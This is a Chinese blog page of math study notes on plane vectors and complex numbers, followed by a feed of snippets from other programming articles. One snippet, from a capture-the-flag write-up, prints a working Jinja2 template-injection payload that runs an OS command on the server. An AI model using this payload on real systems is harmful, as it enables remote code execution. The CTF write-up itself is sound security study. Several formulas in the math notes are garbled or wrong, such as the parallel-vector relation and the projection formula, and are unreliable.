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高中数学基础-平面向量

news 来源：原创 2025/9/15 17:57:27

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  • 1、平面向量
  • 2、复数

高中数学-平面向量、复数

1、平面向量

  • 向量：具有大小和方向的量称为向量；物理学中向量也称矢量，只有大小没有方向的量称为标量；向量的大小称为模，大小为1的是单位向量，长度为0、没有方向的是0向量
  • 平行向量：两个向量方向一致称为平行向量；两个平行向量的大小也一致，称为相等向量；平行向量可以转移到一根直线上，所以也可以称为共线向量（平行向量=共线向量）
  • 向量加法：两个向量收尾对接，可以形成一个三角形，起点到终点就是合成向量；三角形加法法则也可以解释成平行四边形向量法则; a ⃗ + b ⃗ = c ⃗ \vec{a}+\vec{b}=\vec{c} a +b =c （最初的定义是为了合成）
  • 向量减法：大小相等、方向相反的向量称为相反向量；两个相反向量想加等于0向量；向量相减，可以看成加上一个相反向量， a ⃗ − b ⃗ = a ⃗ + ( − b ⃗ ) \vec{a}-\vec{b}=\vec{a}+(-\vec{b}) a −b =a +(−b )；如果三角形同一顶点有两条射线向量 A B ⃗ A C ⃗ \vec{AB}\vec{AC} AB AC ，那么 A B ⃗ − A C ⃗ = C B ⃗ \vec{AB}-\vec{AC}=\vec{CB} AB −AC =CB ，也就是减数项是起点，被减项是终点。
  • 数乘：平行向量之间满足 a ⃗ = λ a ⃗ \vec{a}=λ\vec{a} a =λa , λ为实数，相当于一个数乘的系数；方向不变、大小扩大倍数
  • 向量加法、向量减法、数乘，最后得到的结果还是向量
  • 向量数量积：两个非零向量夹角为θ，数量积为 a ⃗ ∗ b ⃗ = ∣ a ∣ ∗ ∣ b ∣ ∗ cos ⁡ θ \vec{a}*\vec{b}=|a|*|b|*\cos θ a ∗b =∣a∣∗∣b∣∗cosθ，向量相乘以后就变成数值、失去方向性， cos ⁡ θ \cos θ cosθ的意义是把他们合成到一条直线上再运算；这里规定了向量数量积的原始定义；
  • 投影向量：两个向量起点放到一起，其中一个向量的终点做另一个向量的垂线，起点到垂足点可以形成一个新的向量，称为投影向量； a ⃗ 在 b ⃗ 上的投影 p r o j b a = ∣ a ∣ cos ⁡ θ = ∣ a ⃗ b ⃗ ∣ ∣ b ∣ = ( ∣ a ⃗ b ⃗ ∣ ∣ b ⃗ b ⃗ ∣ ) b ⃗ \vec{a}在\vec{b}上的投影proj_ba=|a|\cos θ=\frac{|\vec{a}\vec{b}|}{|b|}=(\frac{|\vec{a}\vec{b}|}{|\vec{b}\vec{b}|})\vec{b} a 在b 上的投影projb​a=∣a∣cosθ=∣b∣∣a b ∣​=(∣b b ∣∣a b ∣​)b
  • 向量乘法运算：符合交换律（元素位置可以互换）、结合律（先计算一部份得到结果再和剩下的计算）、分配律（有加法有乘法，加法内部的元素各自与外部相乘）（注意减法和除法是不满足交换律的）
  • 向量没有除法
  • 平面向量基本定理：假设 e 1 , e 2 e_1,e_2 e1​,e2​是两个不平行的单位向量（如果这两个单位向量是xy轴的单位向量，就会变成直角坐标系向量），那么任意向量可以表示成 a ⃗ = λ 1 e 1 + λ 2 e 2 \vec{a}=λ_1e_1+λ_2e_2 a =λ1​e1​+λ2​e2​， e 1 , e 2 e_1,e_2 e1​,e2​称为所有向量的基底
  • 向量分解：如果分解成两个垂直方向的向量，称为正交分解
  • 向量和直角坐标系：假设 i , j i,j i,j为xy轴的单位向量，那么 a ⃗ = x i + y j \vec{a}=xi+yj a =xi+yj就是向量 a ⃗ \vec{a} a 的坐标表示; i , j i,j i,j可以表示为 ( 1 , 0 ) , ( 0 , 1 ) (1,0),(0,1) (1,0),(0,1), a ⃗ \vec{a} a 可以表示为 ( x , y ) (x,y) (x,y)；假设 ( x , y ) (x,y) (x,y)在是一个点A，那么 a ⃗ \vec{a} a 也可以写成 O A ⃗ \vec{OA} OA ；单位向量的正负由参考方向确定，一般为x轴y轴正向
  • 平面向量：坐标轴的向量可以可以相加， a ⃗ = ( x 1 , y 1 ) , b ⃗ = ( x 2 , y 2 ) = > a ⃗ + b ⃗ = ( x 1 + x 2 , y 1 + y 2 ) \vec{a}=(x_1,y_1), \vec{b}=(x_2,y_2)=>\vec{a}+\vec{b}=(x_1+x_2, y_1+y_2) a =(x1​,y1​),b =(x2​,y2​)=>a +b =(x1​+x2​,y1​+y2​)
  • 坐标点和向量：假设有AB两点坐标为 A ( x 1 , y 1 ) , B ( x 2 , y 2 ) A(x_1,y_1), B(x_2,y_2) A(x1​,y1​),B(x2​,y2​)，那么 A B ⃗ = ( x 2 − x 1 , y 2 − y 1 ) \vec{AB}=(x_2-x_1,y_2-y_1) AB =(x2​−x1​,y2​−y1​)，也就是说终点坐标减去起始点坐标
  • 向量和实数相乘： a ⃗ = ( x , y ) = > λ a ⃗ = ( λ x , λ y ) \vec{a}=(x,y)=>λ\vec{a}=(λx,λy) a =(x,y)=>λa =(λx,λy)
  • 平面向量的积： a ⃗ = ( x 1 , y 1 ) , b ⃗ = ( x 2 , y 2 ) = > a ⃗ ∗ b ⃗ = x 1 x 2 + y 1 y 2 \vec{a}=(x_1,y_1), \vec{b}=(x_2,y_2)=>\vec{a}*\vec{b}=x_1x_2+y_1y_2 a =(x1​,y1​),b =(x2​,y2​)=>a ∗b =x1​x2​+y1​y2​
  • 向量之间的角θ：数量积 a ⃗ ∗ b ⃗ = ∣ a ∣ ∗ ∣ b ∣ ∗ cos ⁡ θ = x 1 x 2 + y 1 y 2 \vec{a}*\vec{b}=|a|*|b|*\cos θ=x_1x_2+y_1y_2 a ∗b =∣a∣∗∣b∣∗cosθ=x1​x2​+y1​y2​，而 ∣ a ∣ = x 1 2 + y 1 2 , b = x 2 2 + y 2 2 |a|=\sqrt{x_1^2+y_1^2}, b=\sqrt{x_2^2+y_2^2} ∣a∣=x12​+y12​ ​,b=x22​+y22​ ​, 那么 cos ⁡ θ = x 1 x 2 + y 1 y 2 x 1 2 + y 1 2 ∗ x 2 2 + y 2 2 \cos θ=\frac{x_1x_2+y_1y_2}{\sqrt{x_1^2+y_1^2}*\sqrt{x_2^2+y_2^2}} cosθ=x12​+y12​ ​∗x22​+y22​ ​x1​x2​+y1​y2​​
  • 平面向量和余弦定理：三角形中已知两边长为ab夹角为θ，假设这两边是向量 a ⃗ b ⃗ \vec{a}\vec{b} a b ，那么第三边c可以表示为 c ⃗ = a ⃗ − b ⃗ \vec{c}=\vec{a}-\vec{b} c =a −b （或者相反）两边平方以下以便进行向量乘积引入θ， ( c ⃗ ) 2 = ∣ c ⃗ ∣ ∗ ∣ c ⃗ ∣ ∗ cos ⁡ 0 = ( a ⃗ − b ⃗ ) 2 = ( ∣ a ⃗ ∣ ) 2 − 2 a ⃗ b ⃗ + ( ∣ b ⃗ ∣ ) 2 = ∣ a ⃗ ∣ ∗ ∣ a ⃗ ∣ ∗ cos ⁡ 0 − 2 ∣ a ⃗ ∣ ∣ b ⃗ ∣ ∗ cos ⁡ θ + ∣ b ⃗ ∣ ∗ ∣ b ⃗ ∣ ∗ cos ⁡ 0 = ( ∣ a ⃗ ∣ ) 2 − 2 ∣ a ⃗ ∣ ∣ b ⃗ ∣ ∗ cos ⁡ θ + ( ∣ b ⃗ ∣ ) 2 (\vec{c})^2=|\vec{c}|*|\vec{c}|*\cos 0=(\vec{a}-\vec{b})^2=(|\vec{a}|)^2-2\vec{a}\vec{b}+(|\vec{b}|)^2=|\vec{a}|*|\vec{a}|*\cos 0-2|\vec{a}||\vec{b}|*\cos θ+|\vec{b}|*|\vec{b}|*\cos 0=(|\vec{a}|)^2-2|\vec{a}||\vec{b}|*\cos θ+(|\vec{b}|)^2 (c )2=∣c ∣∗∣c ∣∗cos0=(a −b )2=(∣a ∣)2−2a b +(∣b ∣)2=∣a ∣∗∣a ∣∗cos0−2∣a ∣∣b ∣∗cosθ+∣b ∣∗∣b ∣∗cos0=(∣a ∣)2−2∣a ∣∣b ∣∗cosθ+(∣b ∣)2，那么这里只需要知道两边的大小和θ如 ∣ a ⃗ ∣ 、 ∣ b ⃗ ∣ 、 cos ⁡ θ |\vec{a}|、|\vec{b}|、\cos θ ∣a ∣、∣b ∣、cosθ，就可以求出第三边的长度大小 ∣ c ⃗ ∣ |\vec{c}| ∣c ∣；如果θ=90°，那么容易的到 c 2 = a 2 + b 2 c^2=a^2+b^2 c2=a2+b2（消掉了一项）
  • 向量与解三角形：一般来说角A角B角C对应的边向量记作 a ⃗ ∣ b ⃗ ∣ c ⃗ \vec{a}|\vec{b}|\vec{c} a ∣b ∣c ，默认规则
  • 平面向量和正弦定理：三边和角关系满足 a sin ⁡ A = b sin ⁡ B = c sin ⁡ C \frac{a}{\sin A}=\frac{b}{\sin B}=\frac{c}{\sin C} sinAa​=sinBb​=sinCc​

投影向量
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向量和坐标点的关系
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三角形的边（向量）和角的关系
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2、复数

  • 复数：人为规定 i 2 = − 1 i^2=-1 i2=−1，于是 x 2 = − 1 = > x = i x^2=-1=>x=i x2=−1=>x=i，又继续规定 a + b i a+bi a+bi形式为复数，a为实数部分，bi为虚数部分；只有实数部分那么就是实数，只有虚数部分就是虚数，两部分都有就是复数；
  • 复数和直角坐标系：将x轴看成是实数部分，将y轴看成是虚数部分，那么复数 a + b i a+bi a+bi在复数坐标系(也称为复平面)中会表现为一个点 ( a , b ) (a,b) (a,b)；根据向量知识，复平面中点坐标P可以确定原点O到点的向量 O P ⃗ \vec{OP} OP ， O P ⃗ \vec{OP} OP 的模等于 a 2 + b 2 \sqrt{a^2+b^2} a2+b2 ​
  • 共轭复数：两个复数实数相同、虚数相反，称为共轭复数；如 a + b i a+bi a+bi、 a − b i a-bi a−bi（图像上是根据x轴对称）
  • 复数加减：复数 z 1 = a + b i z_1=a+bi z1​=a+bi, 复数 z 2 = c + d i z_2=c+di z2​=c+di, 可以改造成向量相加 ( a , b ) + ( c , d ) = > ( a + c , b + d ) (a,b)+(c,d)=>(a+c,b+d) (a,b)+(c,d)=>(a+c,b+d), 结果再转化成复数格式等于 ( a + c ) + ( b + d ) i (a+c)+(b+d)i (a+c)+(b+d)i; 相减同理
  • 复数相乘：复数 z 1 = a + b i z_1=a+bi z1​=a+bi, 复数 z 2 = c + d i z_2=c+di z2​=c+di， z 1 ∗ z 2 = ( a c − b d ) + ( a d + b c ) i z_1*z_2=(ac-bd)+(ad+bc)i z1​∗z2​=(ac−bd)+(ad+bc)i
  • 复数相除：复数 z 1 = a + b i z_1=a+bi z1​=a+bi, 复数 z 2 = c + d i z_2=c+di z2​=c+di， z 1 z 2 = a + b i c + d i \frac{z_1}{z_2}=\frac{a+bi}{c+di} z2​z1​​=c+dia+bi​，分数上下同乘以 c − d i c-di c−di， z 1 z 2 = a c + b d c 2 + d 2 + b c − a d c 2 + d 2 i \frac{z_1}{z_2}=\frac{ac+bd}{c^2+d^2}+\frac{bc-ad}{c^2+d^2}i z2​z1​​=c2+d2ac+bd​+c2+d2bc−ad​i
  • 复数的三角表示：复数 z = a + b i z=a+bi z=a+bi这种格式称为代数式；假设复数z的复平面向量模为r、向量和x轴夹角为θ，那么 a = r ∗ cos ⁡ θ , b = r ∗ sin ⁡ θ a=r*\cos θ, b=r*\sin θ a=r∗cosθ,b=r∗sinθ，这样复数可以改写成 z = r ∗ cos ⁡ θ + r ∗ sin ⁡ θ i = r ( cos ⁡ θ + ∗ sin ⁡ θ i ) z=r*\cos θ+r*\sin θi=r(\cos θ+*\sin θi) z=r∗cosθ+r∗sinθi=r(cosθ+∗sinθi)，这个格式称为三角格式，θ称为幅角；如果 0 < = θ < = 2 π 0<=θ<=2\pi 0<=θ<=2π，那么θ就是三角复数的主幅角；
  • 三角复数的相乘： z 1 = r 1 ( cos ⁡ θ 1 + ∗ sin ⁡ θ 1 i ) , z 2 = r 2 ( cos ⁡ θ 2 + ∗ sin ⁡ θ 2 i ) = > z 1 ∗ z 2 = r 1 r 2 ( cos ⁡ ( θ 1 + θ 2 ) + sin ⁡ ( θ 1 + θ 2 ) i ) z_1=r_1(\cos θ_1+*\sin θ_1i), z_2=r_2(\cos θ_2+*\sin θ_2i)=>z_1*z_2=r_1r_2(\cos(θ_1+θ_2)+\sin(θ_1+θ_2)i) z1​=r1​(cosθ1​+∗sinθ1​i),z2​=r2​(cosθ2​+∗sinθ2​i)=>z1​∗z2​=r1​r2​(cos(θ1​+θ2​)+sin(θ1​+θ2​)i)，想当于将向量 z 1 z_1 z1​绕着原点O逆时针旋转 θ 2 θ_2 θ2​，那么角度就变成 θ 1 + θ 2 θ_1+θ_2 θ1​+θ2​了，再把向量 z 1 z_1 z1​的模扩大 r 2 r_2 r2​倍数
  • 三角复数的除法：用相乘的方式反算得到除法， r 2 ( cos ⁡ θ 2 + ∗ sin ⁡ θ 2 i ) ∗ r 1 r 2 ( cos ⁡ ( θ 1 − θ 2 ) + ∗ sin ⁡ ( θ 1 − θ 2 ) i ) = r 1 ( cos ⁡ θ 1 + ∗ sin ⁡ θ 1 i ) = > r 1 ( cos ⁡ θ 1 + ∗ sin ⁡ θ 1 i ) r 2 ( cos ⁡ θ 2 + ∗ sin ⁡ θ 2 i ) = z 1 z 2 = r 1 r 2 ( cos ⁡ ( θ 1 − θ 2 ) + ∗ sin ⁡ ( θ 1 − θ 2 ) i ) r_2(\cos θ_2+*\sin θ_2i)*\frac{r_1}{r_2}(\cos (θ_1-θ_2)+*\sin (θ_1-θ_2)i)=r_1(\cos θ_1+*\sin θ_1i)=>\frac{r_1(\cos θ_1+*\sin θ_1i)}{r_2(\cos θ_2+*\sin θ_2i)}=\frac{z_1}{z_2}=\frac{r_1}{r_2}(\cos (θ_1-θ_2)+*\sin (θ_1-θ_2)i) r2​(cosθ2​+∗sinθ2​i)∗r2​r1​​(cos(θ1​−θ2​)+∗sin(θ1​−θ2​)i)=r1​(cosθ1​+∗sinθ1​i)=>r2​(cosθ2​+∗sinθ2​i)r1​(cosθ1​+∗sinθ1​i)​=z2​z1​​=r2​r1​​(cos(θ1​−θ2​)+∗sin(θ1​−θ2​)i)
  • 三角复数没有加减法

数集合的扩充
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复平面
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复数(向量)合成
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三角复数
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三角复数相乘
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编程日记 2025/9/13 19:30:10

论文笔记（七十二）Reward Centering（五）

Reward Centering&#xff08;五&#xff09; 文章概括摘要附录B 理论细节C 实验细节D 相关方法的联系 文章概括 引用&#xff1a; article{naik2024reward,title{Reward Centering},author{Naik, Abhishek and Wan, Yi and Tomar, Manan and Sutton, Richard S},journal{arX…...

编程日记 2025/9/15 1:56:16

FFmpeg 是什么？为什么？怎么用？

摘要&#xff1a;本文介绍了 FFmpeg&#xff0c;一个功能强大的开源多媒体处理工具&#xff0c;广泛应用于视频和音频文件的处理。FFmpeg 支持多种多媒体格式&#xff0c;能够实现视频编码/解码、格式转换、裁剪、合并、音频提取、流媒体处理等功能。本文详细阐述了 FFmpeg 的主…...

编程日记 2025/9/8 1:12:56

雷池WAF动态防护技术实测

作者&#xff1b; Hacker / 0xh4ck3r 介绍 长亭雷池&#xff08;SafeLine&#xff09;是由北京长亭科技有限公司耗时近10年研发并推出的Web应用防火墙&#xff08;WAF&#xff09;&#xff0c;其核心检测能力由智能语义分析算法驱动。雷池旨在为用户提供高质量的Web攻击防护、…...

编程日记 2025/9/14 16:11:18

BUU40 [CSCCTF 2019 Qual]FlaskLight1【SSTI】

模板&#xff1a; {{.__class__.__base__.__subclasses__()[80].__init__.__globals__[__builtins__].eval("__import__(os).popen(type flag.txt).read()")}} 是个空字符串&#xff0c;.__class__代表这个空字符串的类是什么&#xff08;这里是单引号双引号都行&a…...

编程日记 2025/9/10 18:54:43

【每日八股】Redis篇（二）：数据结构

Redis 数据类型&#xff1f; 主要有 STRING、LIST、ZSET、SET 和 HASH。 STRING String 类型底层的数据结构实现主要是 SDS&#xff08;简单动态字符串&#xff09;&#xff0c;其主要应用场景包括&#xff1a; 缓存对象&#xff1a;可以用 STRING 缓存整个对象的 JSON&…...

编程日记 2025/9/16 1:38:08

VScode+stfp插件，实现文件远程同步保存【2025实操有效】

目录 1 痛点2 准备工作3 操作步骤3.1 第一步&#xff0c;下载STFP插件3.2 第二步&#xff0c;修改配置文件3.3 第三步&#xff0c;测试是否成功 4 后记 1 痛点 我一直用vscode远程连接服务器&#xff0c;传代码文件等到服务器上面&#xff0c;突然有一次服务器那边尽心维修&am…...

编程日记 2025/9/15 0:32:51

115 道 MySQL 面试题，从简单到深入！

1. 什么是数据库事务&#xff1f; 数据库事务是一个作为单个逻辑工作单元执行的一系列操作。事务具有ACID属性&#xff0c;即原子性&#xff08;Atomicity&#xff09;、一致性&#xff08;Consistency&#xff09;、隔离性&#xff08;Isolation&#xff09;和持久性&#xf…...

编程日记 2025/9/13 17:33:17

不同安装路径重复R包清理

df <- as.data.frame(installed.packages()) table(duplicated(df$Package)) ids <- df$Package[duplicated(df$Package)] df2 <- subset(df, df$Package %in% ids)...

编程日记 2025/8/23 17:05:15

Grouped-Query Attention（GQA）详解: Pytorch实现

Grouped-Query Attention&#xff08;GQA&#xff09;详解 Grouped-Query Attention&#xff08;GQA&#xff09; 是 Multi-Query Attention&#xff08;MQA&#xff09; 的改进版&#xff0c;它通过在 多个查询头&#xff08;Query Heads&#xff09;之间共享 Key 和 Value&am…...

编程日记 2025/9/15 14:19:26

选择排序：简单高效的选择

大家好&#xff0c;今天我们来聊聊选择排序&#xff08;Selection Sort&#xff09;算法。这是一个非常简单的排序算法&#xff0c;适合用来学习排序的基本思路和操作。选择排序在许多排序算法中以其直观和易于实现的特点著称&#xff0c;虽然它的效率不如其他高效算法&#xf…...

编程日记 2025/9/10 17:44:51

（教程）PDF 字体技术入门

PDF字体技术 许多人觉得PDF字体令人困惑的主要原因在于PDF文件可以使用多种不同的字体技术。PDF文件规范已经存在16年&#xff0c;在此期间&#xff0c;出现了多种不同的字体技术&#xff08;既有技术方面的原因&#xff0c;也有商业方面的原因&#xff09;。因此&#xff0c;…...

编程日记 2025/9/14 18:22:16

LabVIEW中CFURL.llb 工具库说明

CFURL.llb 是 LabVIEW 2019 安装目录下 C:\Program Files (x86)\National Instruments\LabVIEW 2019\vi.lib\Platform\ 路径下的工具库&#xff0c;主要用于处理 LabVIEW 与 URL 相关的操作&#xff0c;涵盖 URL 解析、HTTP 请求发送、数据传输等功能模块&#xff0c;帮助开发者…...

编程日记 2025/9/15 16:40:02

BGP配置华为——路径优选验证

实验拓扑 实验要求 实现通过修改AS-Path属性来影响路径选择实现通过修改Local_Preference属性来影响路径选择实现通过修改MED属性来影响路径选择实现通过修改preferred-value属性来影响路径选择 实验配置与效果 1.改名与IP配置 2.as300配置OSPF R3已经学到R2和R4的路由 3.…...

编程日记 2025/9/14 11:48:31

Linux8-互斥锁、信号量

一、前情回顾 void perror(const char *s);功能&#xff1a;参数&#xff1a; 二、资源竞争 1.多线程访问临界资源时存在资源竞争&#xff08;存在资源竞争、造成数据错乱&#xff09; 临界资源&#xff1a;多个线程可以同时操作的资源空间&#xff08;全局变量、共享内存&a…...

编程日记 2025/9/15 8:24:39

【Springboot3】Springboot3 搭建RocketMQ 最简单案例

说来也奇怪&#xff0c;RocketMQ 不能很好的兼容Springboot3&#xff0c;刚开始上手Springboot3集成RocketMQ会发现总是不能实例化RocketMQTemplate&#xff0c;老是启动时报错。本项目采用Springboot3&#xff0c;JDK21 &#xff0c;Maven 3.9&#xff0c;提供一个非常简单的示…...

编程日记 2025/9/14 23:34:10

使用docker安装mysql 挂起之后 再次运行无法连接问题

# 首先 vim /usr/lib/sysctl.d/00-system.conf # 在最后面添加 net.ipv4.ip_forward 1 # 然后保存退出&#xff0c;接着重启网络服务 systemctl restart network # 重启以后&#xff0c;输入以下命令&#xff0c;查看IPv4转发状态 sysctl net.ipv4.ip_forward # 显示net.ipv4…...

编程日记 2025/9/11 10:20:17

hot100-二叉树

二叉树 二叉树递归 相当于这个的顺序来回调换 class Solution {private List<Integer> res new ArrayList<>();public List<Integer> inorderTraversal(TreeNode root) {if(root null)return res;inorderTraversal(root.left);res.add(root.val);inorde…...

编程日记 2025/9/10 14:19:25

从零开始用react + tailwindcs + express + mongodb实现一个聊天程序(二)

1.安装mogondb数据库 参考MongoDB安装配置教程&#xff08;详细版&#xff09;_mongodb安装详细步骤-CSDN博客 安装mondbcompass数据库连接工具 参考https://www.mongodb.com/zh-cn/docs/compass/current/connect/ 2.后端服务 1.创建src文件夹 并在src文件夹下创建 index…...

编程日记 2025/9/14 18:58:02

基于Spring Boot的党员学习交流平台设计与实现（LW+源码+讲解）

专注于大学生项目实战开发,讲解,毕业答疑辅导&#xff0c;欢迎高校老师/同行前辈交流合作✌。 技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;…...

编程日记 2025/9/12 0:41:14

Plantsimulation中机器人怎么通过阻塞角度设置旋转135°

创建一个这样的简单模型。 检查PickAndPlace的角度表。源位于180的角位置&#xff0c;而物料终结位于90的角位置。“返回默认位置”选项未被勾选。源每分钟生成一个零件。启动模拟时&#xff0c;Plant Simulation会选择两个位置之间的最短路径。示例中的机器人无法绕135的角位…...

编程日记 2025/9/14 18:14:41

2025.2.23机器学习笔记：PINN文献阅读

2025.2.23周报 一、文献阅读题目信息摘要Abstract创新点网络架构架构A架构B架构C 实验结论后续展望 一、文献阅读 题目信息 题目&#xff1a; Physics-Informed Neural Networks for Modeling Water Flows in a River Channel期刊&#xff1a; IEEE TRANSACTIONS ON ARTIFICI…...

编程日记 2025/9/12 23:11:34

关于Postman自动获取token

在使用postman测试联调接口时&#xff0c;可能每个接口都需要使用此接口生成的令牌做Authorization的Bearer Token验证&#xff0c;最直接的办法可能会是一步一步的点击&#xff0c;如下图&#xff1a; 在Authorization中去选择Bearer Token&#xff0c;然后将获取到的token粘贴…...

编程日记 2025/9/15 6:45:46

Android KMP初探

Android KMP初探 前言&#xff1a; 最近线上听了Kotlin官网举行的KMP会议&#xff0c;感觉听神奇的&#xff0c;于是就把官方demo下载下来尝试了一下&#xff0c;下载插件和所需要的依赖都用了很久&#xff0c;但是发现里面的代码很少&#xff0c;于是尝试自己手写了一下&…...

编程日记 2025/9/14 20:46:35

ncDLRES：一种基于动态LSTM和ResNet的非编码RNA家族预测新方法

现有的计算方法主要分为两类&#xff1a;第一类是通过学习序列或二级结构的特征来预测ncRNAs家族&#xff0c;另一类是通过同源序列之间的比对来预测ncRNAs家族。在第一类中&#xff0c;一些方法通过学习预测的二级结构特征来预测ncRNAs家族。二级结构预测的不准确性可能会导致…...

编程日记 2025/9/10 22:01:50

前端项目打包过滤指定icon文件

1.需求背景 项目中有部分功能需要vip权限才可以使用&#xff0c;所有部分筛选、按钮 等有vip的icon提示 如下图 此项目衍生出一个特殊版本&#xff0c;此版本无需登录且拥有最高权限&#xff0c;所以产品要求去除项目中的所有vip相关的提示。 2.解决思路 &#xff08;1&am…...

编程日记 2025/9/13 6:34:46